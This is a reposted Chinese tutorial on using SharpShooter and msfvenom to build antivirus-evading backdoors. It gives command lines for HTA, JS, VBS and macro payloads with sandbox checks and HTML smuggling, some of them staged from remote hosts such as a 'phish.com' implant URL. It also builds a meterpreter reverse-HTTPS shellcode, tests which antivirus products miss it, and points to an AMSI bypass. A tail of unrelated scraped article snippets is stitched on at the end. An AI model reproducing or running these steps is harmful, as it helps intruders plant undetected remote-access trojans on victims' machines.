遠控免殺專題(23)-SharpShooter免殺

轉載:https://mp.weixin.qq.com/s/EyvGfWXLbxkHe7liaNFhGg

免殺能力一覽表

在這里插入圖片描述
幾點說明:

1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒,也就是代表了Bypass。

2、為了更好的對比效果,大部分測試payload均使用msf的windows/meterperter/reverse_tcp模塊生成。

3、由于本機測試時只是安裝了360全家桶和火絨,所以默認情況下360和火絨殺毒情況指的是靜態+動態查殺。360殺毒版本5.0.0.8160(2020.01.01),火絨版本5.0.34.16(2020.01.01),360安全衛士12.0.0.2002(2020.01.01)。

4、其他殺軟的檢測指標是在virustotal.com(簡稱VT)上在線查殺,所以可能只是代表了靜態查殺能力,數據僅供參考,不足以作為免殺或殺軟查殺能力的判斷指標。

5、完全不必要苛求一種免殺技術能bypass所有殺軟,這樣的技術肯定是有的,只是沒被公開,一旦公開第二天就能被殺了,其實我們只要能bypass目標主機上的殺軟就足夠了。

一、SharpShooter介紹

Sharpshooter,2018年開源的工具,知名度較高,基于python2開發,是比較專業的Payload生成框架,支持反沙箱、分階段和無階段的Payload執行,并能夠生成hta、js、jse、vba、vbe、vbs、wsf等多種格式的payload,創建的Payload可用于編譯執行任意C#源代碼。Sharpshooter還能對Payload使用隨機密鑰進行RC4加密,還能檢測沙箱,從而避開殺軟的檢測。

二、安裝SharpShooter

安裝比較簡單,python2執行環境。

先從github上clone到本地

# git clone https://github.com/mdsecactivebreach/SharpShooter

進入SharpShooter目錄,安裝python依賴庫


pip install -r requirements.txt

執行python sharpShooter.py即可

在這里插入圖片描述

三、SharpShooter使用說明

SharpShooter支持的參數比較多,可以像壘積木一樣構造不同的payload。
在這里插入圖片描述

 -h, --help          幫助菜單--stageless         創建一個不分階段的payload--dotnetver <ver>   制定dotnet的版本,2或者4--com <com>         COM 分階段技術: 如outlook, shellbrowserwin, wmi, wscript, xslremote等--awl <awl>         使用程序白名單技術: wmic, regsvr32--awlurl <awlurl>   指定取回 XSL/SCT payload的url地址--payload <format>  Payload 類型: hta, js, jse, vbe, vbs, wsf, macro, slk--sandbox <types>   繞過沙盒技術:[1] Key to Domain (e.g. 1=CONTOSO)[2] Ensure Domain Joined[3] Check for Sandbox Artifacts[4] Check for Bad MACs[5] Check for Debugging--amsi <amsi>       使用AMSI繞過技術: amsienable--delivery <type>   分發方法: web, dns, both--rawscfile <path>  指定生成payload的shellcode--shellcode         使用內置的shellcode--scfile <path>     指定C#的shellcode的路徑--refs <refs>       指定C#需要的依賴文件,如mscorlib.dll等--namespace <ns>    指定C#的Namespace,如Foo.bar--entrypoint <ep>   指定C#需要執行的方法,如Main--web <web>         指定web分發的地址--dns <dns>         指定Dns分發的地址--output <output>   輸出文件的名稱--smuggle           HTML內的隱藏文件--template <tpl>    指定生成html的template文件 (e.g. mcafee)

SharpSHooter支持分階段(Staged)和無階段(Shageless)Payload執行。分階段執行可以使用HTTP(S)或DNS這兩種方式進行傳輸,或者兩者同時使用。當分階段Payload被執行時,會嘗試檢索已經壓縮的C#源代碼文件,然后使用所選擇的方式進行Base64編碼。隨后,借助.NET CodeDom編譯器,將C#源代碼下載,并編譯到主機上。最后從源代碼執行所需的方法。下圖展現了SharpShooter在分階段過程中的具體操作步驟:
在這里插入圖片描述
SharpShooter的使用還算比較簡單的,官方提供了各種payload的生成命令。
1、不分階段的JavaScript


SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

2、不分階段的hta

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

3、分階段的VBS


SharpShooter.py --payload vbs --delivery both --output foo --web http://www.foo.bar/shellcode.payload --dns bar.foo --shellcode --scfile ./csharpsc.txt --sandbox 1=contoso --smuggle --template mcafee --dotnetver 4

4、使用js加載自定義C#代碼


SharpShooter.py --dotnetver 2 --payload js --sandbox 2,3,4,5 --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MDSec.SharpShooter --entrypoint Main --web http://www.phish.com/implant.payload --output malicious --smuggle --template mcafee

5、使用vbs調用COM方法執行wmic.exe

SharpShooter.py --stageless --dotnetver 2 --payload vbs --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com outlook --awlurl http://192.168.2.8:8080/foo.xsl

6、創建hta調用XMLDOM來執行shellcode

SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./x86payload.bin --smuggle --template mcafee --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

7、創建VBA調用XMLDOM來執行shellcode


SharpShooter.py --stageless --dotnetver 2 --payload macro --output foo --rawscfile ./x86payload.bin --com xslremote --awlurl http://192.168.2.8:8080/foo.xsl

8、創建Excel 4.0 符號鏈接文件執行shellcode

SharpShooter.py --payload slk --output foo --rawscfile ~./x86payload.bin --smuggle --template mcafee

要求shellcode不能包含空字符

msfvenom -p generic/custom PAYLOADFILE=./payload.bin -a x86 --platform windows -e x86/shikata_ga_nai -f raw -o shellcode-encoded.bin -b '\x00'

四、利用SharpShooter生成后門

以一個比較簡單的為例進行測試,創建一個包含后門的HTA。

要先用msfvenom生成一個raw格式的shellcode


msfvenom -a x86 -p windows/meterpreter/reverse_https LHOST=10.211.55.2 LPORT=3333 -f raw -o shellcode.txt

在這里插入圖片描述
然后使用SharpShooter創建hta后門


SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./shellcode.txt --sandbox 4 --smuggle --template mcafee

在這里插入圖片描述
在測試機上運行foo.hta,理論是也可以使用mshta.exe http://ip/foo.hta來執行,但我沒執行成功。
在這里插入圖片描述
msf中可正常上線
在這里插入圖片描述
打開殺軟進行測試,火絨靜態和動態都可以查殺,360衛士和360殺毒沒有報警。
在這里插入圖片描述
又試了下SharpShooter生成的js之類的payload,查殺率也差不多,而且都被標注了Sharpshooter的病毒名稱,說明SharpShooter默認生成的樣本特征都已經被殺軟列入特征庫了。

五、SharpShooter小結

SharpShooter算是比較復雜的一個框架,支持多種payload,能在.NET框架的v2、v3和v4版本上都能執行,涵蓋了絕大部分的Windows系統。但也因為SharpShooter的知名度比較高,默認生成的payload已經被查殺的比較嚴重,但其實現方式和思路是比較值得人學習的。

而且在2019年1月Sharpshooter加入了AMSI的bypass模板,使用參數–amsi amsienable可以使用該模塊來Kill掉AMSI,感興趣的可以試一下。

六、參考資料

官方github:https://github.com/mdsecactivebreach/SharpShooter

如何使用SharpShooter生成Payload:https://www.anquanke.com/post/id/100533

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/380084.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/380084.shtml
英文地址,請注明出處:http://en.pswp.cn/news/380084.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

MySQL 發展史

一.MySQL 標志說明MySQL的海豚標志的名字叫“sakila”&#xff0c;它是由MySQL AB的創始人從用戶在“海豚命名”的競賽中建議的大量的名字表中選出的。獲勝的名字是由來自非洲斯威士蘭的開源軟件開發者Ambrose Twebaze提供。根據Ambrose所說&#xff0c;Sakila來自一種叫SiSwat…

scanf讀取字符_在C語言中使用scanf()讀取整數時跳過字符

scanf讀取字符Let suppose, we want to read time in HH:MM:SS format and store in the variables hours, minutes and seconds, in that case we need to skip columns (:) from the input values. 假設&#xff0c;我們要讀取HH&#xff1a;MM&#xff1a;SS格式的時間 &…

An Algorithm Summary of Programming Collective Intelligence (3)

k-Nearest Neighbors kNN(不要問我叫什么)PCI里面用kNN做了一個價格預測模型&#xff0c;還有一個簡單的電影喜好預測。簡單來說就是要對一個東西做數值預測&#xff0c;就要先有一堆已經有數值的東西&#xff0c;從里面找出和要預測的東西相似的&#xff0c;再通過計算這些相似…

遠控免殺專題(24)-CACTUSTORCH免殺

轉載&#xff1a;https://mp.weixin.qq.com/s/g0CYvFMsrV7bHIfTnSUJBw 免殺能力一覽表 幾點說明&#xff1a; 1、上表中標識 √ 說明相應殺毒軟件未檢測出病毒&#xff0c;也就是代表了Bypass。 2、為了更好的對比效果&#xff0c;大部分測試payload均使用msf的windows/mete…

DOM快捷鍵

DOM所有的命令(CMD) 步驟/方法 cmd命令大全&#xff08;第一部分&#xff09;winver---------檢查Windows版本 wmimgmt.msc----打開windows管理體系結構(WMI) wupdmgr--------windows更新程序 wscript--------windows腳本宿主設置 write----------寫字板 winmsd---------系統…

病毒的手工排除與分析(更新完畢)

作者簡介楊京濤    8年以上的IT行業經驗&#xff0c;理解企業需求&#xff0c;有企業ERP軟件部署規劃能力&#xff0c;有綜合布線網絡規劃和管理能力。熟悉軟件以及各類硬件&#xff0c;電話程控設備&#xff0c;各類網絡設備的管理維護。有編程基礎,熟悉VBA、腳本、批處理…

JavaScript中的String substring()方法和示例

JavaScript | 字符串substring()方法 (JavaScript | String substring() Method) The String.substring() method in JavaScript is used to return a part of the string. The substring() extracted is from the given start and end index of the string. JavaScript中的Str…

Java——方法(練習九九乘法表)

public static void(int,byte…) xxx(int a,int b) 修飾符 返回值類型 方法名(參數類型 參數名1&#xff0c;參數類型 參數名2…)&#xff5b; 方法體語句&#xff1b; return 返回值&#xff1b; &#xff5d; public class fangfa {public static void main(String[] ar…

UVA 10405-Longest Common Subsequence

最長公共子序列&#xff0c;值得注意的是這道題不能用scanf讀字符串。 #include<stdio.h>#include<string.h>#define MAXD 1005char s1[MAXD], s2[MAXD];int dp[MAXD][MAXD];int max( int a, int b){return a > b ? a : b;}void solve(){int len1 strlen(s1 …

對初學者的幾點建議

http://www.cnblogs.com/thcjp/archive/2007/06/14/783157.html 天轟穿vs2005入門.net2.0系列視頻教程推出已經有接近8個月了&#xff0c;這期間我收到非常多的反饋&#xff0c;我只能用非常來形容&#xff0c;呵呵&#xff0c;當然也了解了很多人的心理和學習方法。但是很遺憾…

系統固件升級_固件和操作系統之間的差異

系統固件升級固件 (Firmware) Firmware is somewhere similar to software but it is not a software. Somehow it is a modified form of software. 固件與軟件相似&#xff0c;但不是軟件。 不知何故&#xff0c;它是軟件的修改形式。 Firmware is fixed data or code that …

cobalt strick 4.0 系列教程 (5)--- 獲取立足點

https://blog.ateam.qianxin.com/CobaltStrike4.0%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C_%E4%B8%AD%E6%96%87%E7%BF%BB%E8%AF%91.pdf 0x01 客戶端 System Profiler [即探針] System Profiler 是一個為客戶端攻擊提供的偵察工具。這個工具啟動一個本地的 web 服務器&#xff0…

[轉]sql,N/$/#/@的含義和作用

declare sql nvarchar(4000)set sql Nselect TotalRecordscount(*) from N( sqlFullPopulate N) a EXEC sp_executesql sql,NTotalRecords int output, TotalRecords output 問題&#xff1a;sql 后面有個N, N 起什么作用? 答案&#xff1a; 加上 N 代表存入數據庫時…

Java——方法重載(overload)(比較兩個數據是否相等)

重載&#xff1a;方法名相同&#xff0c;參數列表不同&#xff0c;與返回值類型無關 重載的分類&#xff1a; 1&#xff0c;參數個數不同 ①&#xff0c;④&#xff0c;⑤&#xff0c;⑥&#xff1b; 2&#xff0c;參數類型不同 ①&#xff0c;②&#xff0c;③、 ⑤&#x…

scala怎么做冪運算_Scala冪(冪)函數示例

scala怎么做冪運算Scala programming language has a huge set of libraries to support different functionalities. Scala編程語言具有大量的庫來支持不同的功能。 scala.math.pow() (scala.math.pow()) The pow() function is used for the exponential mathematical opera…

frame--轉載

所謂框架便是網頁畫面分成幾個框窗&#xff0c;同時取得多個 URL。只 要 <FRAMESET> <FRAME> 即可&#xff0c;而所有框架標記 要放在一個總起的 html 檔&#xff0c;這個檔案只記錄了該框架 如何劃分&#xff0c;不會顯示任何資料&#xff0c;所以不必放入 <…

cobalt strick 4.0 系列教程(6)Payload Artifact 和反病毒規避

0x01 哲學 Strategic Cyber 責任有限公司會定期回答有關規避的問題。Cobalt Strike 是否能夠繞過 AV 產品&#xff1f;它能繞過哪些 AV 產品&#xff1f;它多久檢查一次&#xff1f; Cobalt Strike 默認的 Artifact 可能會被大多數終端安全解決方案攔截。規避不是 Cobalt Str…

【轉】企業開發的困境與變局

原文&#xff1a;企業開發的困境與變局 文 / 劉江 算起來&#xff0c;《程序員》已經有幾年時間沒有大篇幅討論企業軟件開發這個話題了。這其實挺奇怪的。要知道&#xff0c;按類別來分&#xff0c;國內從事企業軟件開發的技術人員是最多的&#xff0c;從CSDN和《程序員》聯合舉…

c# 類對象和實例對象_C#類和對象能力問題 套裝4

c# 類對象和實例對象1) What are the correct statements about given code snippets? using System;public class Example{virtual private int X;private int Y;static void Main(string[] args){Console.WriteLine("Hello World");}}Hello WorldHelloWorldSyntax…

linkBar組件學習--設置linkBar子項的豎直間距.

效果&#xff1a;代碼&#xff1a; <?xml version"1.0" encoding"utf-8"?><!--http://blog.flexexamples.com/2008/04/20/setting-the-vertical-spacing-between-items-in-a-linkbar-control-in-flex/ --><mx:Application xmlns:mx"…